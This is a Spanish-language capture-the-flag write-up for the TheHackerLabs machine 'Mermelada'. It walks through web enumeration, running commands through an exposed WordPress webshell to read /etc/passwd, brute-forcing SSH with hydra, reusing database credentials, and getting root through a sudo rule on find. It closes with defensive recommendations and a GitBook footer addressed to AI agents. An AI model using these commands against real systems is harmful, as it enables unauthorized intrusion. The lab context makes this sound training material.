> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/mermelada.md).

# Mermelada

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux mediante enumeracion web, abuso de un webshell expuesto en WordPress, fuerza bruta SSH y una mala configuracion de `sudo`.

El objetivo es obtener acceso inicial como `debian`, moverse lateralmente a `mermeladita` y escalar privilegios hasta `root`.

***

## Informacion de la maquina

Al iniciar la maquina se muestra la informacion basica del laboratorio:

![Informacion de la maquina](/files/Ud0hNW2mcUC43UQCeJtE)

Datos relevantes:

| Campo   | Valor         |
| ------- | ------------- |
| Nombre  | Mermelada     |
| Creador | Wverezer      |
| IP      | 192.168.1.101 |

***

## Escaneo y enumeracion

Se realiza un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sS -sV -p- -n -Pn -T4 192.168.1.101
```

![Nmap](/files/WX8zX6kHWBys3SBi17qr)

El escaneo muestra dos puertos abiertos:

| Puerto | Servicio | Version              |
| ------ | -------- | -------------------- |
| 22/tcp | SSH      | OpenSSH 9.2p1 Debian |
| 80/tcp | HTTP     | Apache httpd 2.4.65  |

***

## Enumeracion web

Al acceder al puerto 80 se observa una web sencilla de una empresa llamada `Mermelada`.

![Web principal](/files/Ucls5TD6bpvDEw5o6spr)

En la pagina aparece una noticia que menciona a `Manuel`, por lo que se guarda como posible usuario o pista.

Tambien hay una seccion de busqueda de fabricas:

![Busqueda de fabricas](/files/oTMpju1ZJhHmbfON20dj)

Y una pagina de login:

![Login](/files/wIv27UeO69NzDtvV7tTl)

Se realiza fuerza bruta de directorios y archivos con Gobuster:

```bash
gobuster dir -u http://192.168.1.101:80 \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -x html,zip,php,txt \
  -b 404 -t 60
```

![Gobuster](/files/LvcwNnRZ56PupEbw9Qkf)

Recursos interesantes encontrados:

| Recurso       | Codigo | Comentario             |
| ------------- | ------ | ---------------------- |
| `/index.html` | 200    | Pagina principal       |
| `/login.php`  | 200    | Formulario de login    |
| `/uploads/`   | 301    | Directorio con listing |
| `/wordpress/` | 301    | Instalacion WordPress  |

***

## Directorio uploads

Al acceder a `/uploads/` se observa un directory listing con el archivo `compra.txt`:

![Uploads](/files/hOHm8QXbpSVeDwNiJ3mB)

El archivo contiene una lista de mermeladas. Una de las entradas llama la atencion porque parece Base64:

![compra.txt](/files/M2ANPoOmadPy5rRQh8dw)

```
dW4gcGlxdWl0bz8K
```

Se decodifica con `base64`:

```bash
echo "dW4gcGlxdWl0bz8K" | base64 -d
```

![Base64](/files/Lh0XMivonWcIvneMQtde)

El resultado es:

```
un piquito?
```

Esta pista vuelve a aparecer en la pagina de login, por lo que se conserva como posible pista para contrasenas.

***

## Enumeracion de WordPress

Como Gobuster descubre `/wordpress/`, se enumera la instalacion con WPScan:

```bash
wpscan --url http://192.168.1.101/wordpress/ -e u
```

![WPScan](/files/GKnl1kpHKoSCaDWLyiu5)

WPScan identifica el usuario:

![Usuario WordPress](/files/QaExRFRYO4zNLGrxRYWk)

```
mermeladita
```

Ademas, WPScan detecta varios hallazgos interesantes:

![Hallazgos WPScan](/files/Twda32SDEB1bc3RAf1Ra)

Entre ellos:

* `xmlrpc.php` habilitado
* `readme.html` accesible
* Directory listing en `/wordpress/wp-content/uploads/`
* WordPress version `6.9`

El directory listing en uploads es especialmente interesante.

***

## Webshell en uploads

Al revisar `/wordpress/wp-content/uploads/2026/01/` aparecen varios archivos PHP:

![Uploads WordPress](/files/UBN4rDyr1u4njLyIkv1L)

Se prueba uno de ellos con el parametro `cmd`:

```
http://192.168.1.101/wordpress/wp-content/uploads/2026/01/macoduweklgkmvp-1767607866.7342.php?cmd=id
```

![RCE id](/files/3JnNuv6baiSVSdebTs4q)

El comando se ejecuta correctamente como `www-data`:

```
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Con el mismo webshell se lee `/etc/passwd`:

```
?cmd=cat /etc/passwd
```

![passwd](/files/ASux79SCQPxqyu3hOssY)

En el archivo aparecen dos usuarios con shell interactiva:

```
debian
mermeladita
```

Se guardan como candidatos:

![users.txt](/files/qHk7H4bLv8aCuURMwIRB)

***

## Fuerza bruta SSH

Con el usuario `debian` identificado en `/etc/passwd`, se prueba fuerza bruta contra SSH usando `rockyou.txt`:

```bash
hydra -l debian -P /usr/share/wordlists/rockyou.txt 192.168.1.101 ssh -I
```

![Hydra SSH](/files/QPDVtVq4IRyGpnZjttCp)

Hydra encuentra credenciales validas:

```
Usuario: debian
Password: 12345
```

***

## Acceso inicial por SSH

Se accede por SSH como `debian`:

```bash
ssh debian@192.168.1.101
```

![SSH debian](/files/Uz3f29YrTJJrJ7SoNcMg)

Se obtiene una shell como el usuario `debian`.

***

## Enumeracion local

Se revisa el directorio personal y los permisos sudo:

```bash
ls -la
sudo -l
```

![Enumeracion debian](/files/6LSKV2r0H1wMOFYpT7G5)

El usuario `debian` no puede ejecutar comandos con `sudo`:

```
Sorry, user debian may not run sudo on debian.
```

Se revisa la configuracion de WordPress para buscar credenciales de base de datos. En `wp-config.php` aparecen los datos de conexion:

![DB name user](/files/Kly6gT3HbTuuWlz932z1)

![DB host](/files/QJ7PZpcfdQTca65qys3K)

Valores encontrados en wordpress\_config.php:

```php
define('DB_NAME', 'mermelada');
define('DB_USER', 'root');
define('DB_PASSWORD', '12345');
define('DB_HOST', 'localhost');
```

***

## Enumeracion de MariaDB

Con las credenciales encontradas se accede a MariaDB y se listan bases de datos:

```bash
mysql -u root -p 12345
```

![MariaDB users](/files/oIlBbeGDOCzTHKiyu1go)

```sql
show DATABASES;
```

![su mermeladita](/files/MG7CefXC2fkzQrz188Zj)

Se selecciona la base de datos `mermelada` y se consulta la tabla `users`:

```sql
USE mermelada;
SELECT * FROM users;
```

La tabla revela credenciales internas:

| Usuario       | Password |
| ------------- | -------- |
| `mermeladita` | `pepitU` |

***

## Movimiento lateral a mermeladita

Se cambia al usuario `mermeladita` usando la password encontrada:

```bash
su mermeladita
```

Password:

```
pepitU
```

***

## Escalada de privilegios

Se comprueban los permisos sudo del usuario `mermeladita`:

```bash
sudo -l
```

![sudo mermeladita](/files/3qdtAThLx1PTwoauAoA4)

El usuario puede ejecutar `/usr/bin/find` como cualquier usuario sin password:

```
(ALL : ALL) NOPASSWD: /usr/bin/find
```

En GTFOBins se comprueba que `find` permite ejecutar una shell:

![GTFOBins find](/files/YbFQF3heChQLFdhdq763)

Se abusa de la regla sudo para obtener una shell como `root`:

```bash
sudo /usr/bin/find . -exec /bin/sh \; -quit
```

![Root](/files/APWXGeKOJ93VpguLSneH)

Se confirma el acceso privilegiado:

```bash
id
whoami
```

Resultado:

```
uid=0(root) gid=0(root) groups=0(root)
root
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Directory listing habilitado en `/uploads/`
* Informacion sensible codificada en Base64
* Instalacion WordPress expuesta y enumerable
* Archivos PHP ejecutables en `wp-content/uploads`
* Webshell accesible publicamente
* Password debil para el usuario `debian`
* Credenciales de base de datos en `wp-config.php`
* Credenciales internas almacenadas en base de datos
* Regla `sudo` peligrosa para `/usr/bin/find`

### Puntos clave

| Fase               | Tecnica                | Resultado                                     |
| ------------------ | ---------------------- | --------------------------------------------- |
| Reconocimiento     | Nmap                   | SSH y HTTP expuestos                          |
| Enumeracion web    | Gobuster               | Descubrimiento de `/uploads/` y `/wordpress/` |
| Pistas             | Base64 en `compra.txt` | Texto `un piquito?`                           |
| WordPress          | WPScan                 | Usuario `mermeladita` y uploads listable      |
| Explotacion web    | Webshell en uploads    | Ejecucion como `www-data`                     |
| Credenciales       | `/etc/passwd` + Hydra  | Password SSH de `debian`                      |
| Movimiento lateral | MariaDB                | Password de `mermeladita`                     |
| Escalada           | `sudo find`            | Shell como `root`                             |

### Recomendaciones

* Deshabilitar directory listing en Apache y WordPress uploads
* Impedir la ejecucion de PHP dentro de directorios de subida
* No dejar webshells o archivos de prueba accesibles publicamente
* Usar passwords robustas y controles contra fuerza bruta en SSH
* Proteger `wp-config.php` y limitar permisos de lectura
* No almacenar credenciales reutilizables en texto claro
* Revisar reglas `sudoers` y evitar binarios capaces de ejecutar comandos como `root`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/mermelada.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
